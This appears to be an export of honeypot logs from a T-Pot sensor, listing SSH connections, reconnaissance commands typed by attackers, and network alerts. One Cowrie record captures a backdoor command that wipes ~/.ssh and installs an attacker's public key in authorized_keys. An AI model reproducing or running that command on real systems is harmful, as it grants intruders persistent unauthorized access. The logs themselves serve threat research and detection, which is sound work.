28627	5.188.62.253	109.199.241.180	Suricata	2021-09-20 14:20:09.589673+03	2021-09-20 14:30:03.088524+03	{"_id": "owbvAnwBvYTbRNuEUDAP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:20:09.454435+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1262}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.253", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1232698268577571, "payload": "AAADjAoUisNxZo7xOpK7xkzVPOBNJgAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAcWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLDNkZXMtY2JjAAAAcWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLDNkZXMtY2JjAAAAUGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTIsaG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAAUGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTIsaG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAADqYbjAGLz4luII", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51564, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:20:09.589673Z", "@timestamp": "2021-09-20T11:20:09.589Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\n...qf..:...L.<.M&....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519...qaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc...qaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none..............a........"}}	1	\N	\N	alert	\N	\N
28628	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:10.514626+03	2021-09-20 14:30:03.089526+03	{"_id": "pAbvAnwBvYTbRNuEUjA-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "117.22.230.94", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 1 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 1.0446898937225342, "duplicate": true, "timestamp": "2021-09-20T11:20:10.514626Z", "@timestamp": "2021-09-20T11:20:10.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28629	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:10.908348+03	2021-09-20 14:30:03.090525+03	{"_id": "pgbvAnwBvYTbRNuEUjA_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:10.908348Z", "@timestamp": "2021-09-20T11:20:10.908Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28630	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:11.842518+03	2021-09-20 14:30:03.092525+03	{"_id": "qgbvAnwBvYTbRNuEVjAn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:11.842518Z", "@timestamp": "2021-09-20T11:20:11.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28631	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:20:13.224187+03	2021-09-20 14:30:03.094555+03	{"_id": "uQbvAnwBvYTbRNuEXTD6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:44276 (192.168.176.2:22) [session: 1df13759ff59]", "session": "1df13759ff59", "@version": "1", "protocol": "ssh", "src_port": 44276, "dest_port": 22, "timestamp": "2021-09-20T11:20:13.224187Z", "@timestamp": "2021-09-20T11:20:13.224Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28632	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:13.708312+03	2021-09-20 14:30:03.095524+03	{"_id": "uwbvAnwBvYTbRNuEXTD6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:13.708312Z", "@timestamp": "2021-09-20T11:20:13.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28633	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:04.307921+03	2021-09-20 14:30:03.096524+03	{"_id": "bQbvAnwBvYTbRNuEOjDK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "d06013df6bbdd9f7f1337f7007e47fec442cec351f93193306614ff3e052a9a4", "src_ip": "117.22.230.94", "ttylog": "log/tty/d06013df6bbdd9f7f1337f7007e47fec442cec351f93193306614ff3e052a9a4", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/d06013df6bbdd9f7f1337f7007e47fec442cec351f93193306614ff3e052a9a4 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5531265735626221, "duplicate": false, "timestamp": "2021-09-20T11:20:04.307921Z", "@timestamp": "2021-09-20T11:20:04.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28634	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:05.664697+03	2021-09-20 14:30:03.097524+03	{"_id": "cgbvAnwBvYTbRNuEPjCz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:05.664697Z", "@timestamp": "2021-09-20T11:20:05.664Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28635	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:06.600969+03	2021-09-20 14:30:03.098523+03	{"_id": "dwbvAnwBvYTbRNuEQjCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:06.600969Z", "@timestamp": "2021-09-20T11:20:06.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28636	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:06.599901+03	2021-09-20 14:30:03.100524+03	{"_id": "dQbvAnwBvYTbRNuEQjCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:06.599901Z", "@timestamp": "2021-09-20T11:20:06.599Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28637	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:06.60046+03	2021-09-20 14:30:03.101525+03	{"_id": "dgbvAnwBvYTbRNuEQjCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:06.600460Z", "@timestamp": "2021-09-20T11:20:06.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28638	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:07.150798+03	2021-09-20 14:30:03.102524+03	{"_id": "gQbvAnwBvYTbRNuERjCE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "117.22.230.94", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5510199069976807, "duplicate": true, "timestamp": "2021-09-20T11:20:07.150798Z", "@timestamp": "2021-09-20T11:20:07.150Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28639	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:20:07.626008+03	2021-09-20 14:30:03.103524+03	{"_id": "hAbvAnwBvYTbRNuESDA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 60380, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 246522237652312, "@version": "1", "in_iface": "enp5s0", "src_port": 46685, "dest_port": 53, "timestamp": "2021-09-20T11:20:07.626008Z", "@timestamp": "2021-09-20T11:20:07.626Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28640	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:20:07.716189+03	2021-09-20 14:30:03.104526+03	{"_id": "iAbvAnwBvYTbRNuESTB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35072, "timestamp": "2021-09-20T11:20:07.716189", "@timestamp": "2021-09-20T11:20:07.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28641	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:20:09.872629+03	2021-09-20 14:30:03.105553+03	{"_id": "mwbvAnwBvYTbRNuETjBX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "dest_ip": "ya.ru", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to ya.ru:80 from 0.0.0.0:0", "session": "a9e00fab7de6", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:20:09.872629Z", "@timestamp": "2021-09-20T11:20:09.872Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
28644	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:11.45892+03	2021-09-20 14:30:03.109555+03	{"_id": "qQbvAnwBvYTbRNuEVjAn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "117.22.230.94", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5512087345123291, "duplicate": true, "timestamp": "2021-09-20T11:20:11.458920Z", "@timestamp": "2021-09-20T11:20:11.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28645	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:12.394325+03	2021-09-20 14:30:03.110553+03	{"_id": "rAbvAnwBvYTbRNuEWjAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "117.22.230.94", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5524325370788574, "duplicate": true, "timestamp": "2021-09-20T11:20:12.394325Z", "@timestamp": "2021-09-20T11:20:12.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28646	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:20:13.404022+03	2021-09-20 14:30:03.111557+03	{"_id": "tgbvAnwBvYTbRNuEXTD6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "1df13759ff59", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:20:13.404022Z", "@timestamp": "2021-09-20T11:20:13.404Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28647	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:00.863718+03	2021-09-20 14:30:03.112556+03	{"_id": "XQbvAnwBvYTbRNuEKzAn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:00.863718Z", "@timestamp": "2021-09-20T11:20:00.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
